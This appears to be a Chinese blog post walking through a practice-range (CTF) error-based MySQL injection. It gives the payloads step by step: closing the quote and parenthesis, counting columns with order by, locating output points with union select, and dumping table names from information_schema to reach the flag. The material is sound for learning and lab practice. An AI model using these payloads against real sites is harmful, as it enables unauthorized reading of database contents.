数据库
首页 > 数据库> > MYSQL显错注入演示

MYSQL显错注入演示

作者:互联网

靶场题目:
在这里插入图片描述
注意闭合
用”)进行闭合 进行闭合后就不再是字符串,输入的数据可以被当成代码执行 id=() 闭合了前括号, 还有注释掉后面的后括号,用-- qwe 主要是为了保留横横后面的空格,因为可以自动去除空格后的内容,就去掉了后括号
步骤

")order by 3 -- qwe
") union select 1,2,3 -- qwe
“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe

在这里插入图片描述

输出点:

") union select 1,2,3 – qwe
1,2,3是字段的占位符,代表有三个字段,回显是2,3 说明有两个输出点。三个字段能够输出数据的只有2个
eg:’)union select 4,5,6,7,8,9 – qwe 回显是5,说明就只有一个输出点
,下一条语句就可以写成and 1=2 union select 1,table_name from infoamtion_schema.table…
数字只是占位,但是必须写

然后就可以写“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe
在这里插入图片描述
这样就找到了表名
接下来找字段名
在这里插入图片描述
最后一步找想要的数据
在这里插入图片描述

嘿嘿 找到flag

union :

直接写select 1,2,3 不符合语法规则
union select 1,2,3 中的union 是联合查询的意思,前面一条数据会优先返回,所以可以写一个 and 1=2 让前面的返回值为空,进而返回我们后面写的语句
但是也可以不用写 and 1=2 直接把id=1 改成一个不可能的数字 可以写成这样:eg :id=0.99999 之类的

标签:显错,演示,name,union,qwe,MYSQL,table,select,schema
来源: https://blog.csdn.net/oxygensss/article/details/110560747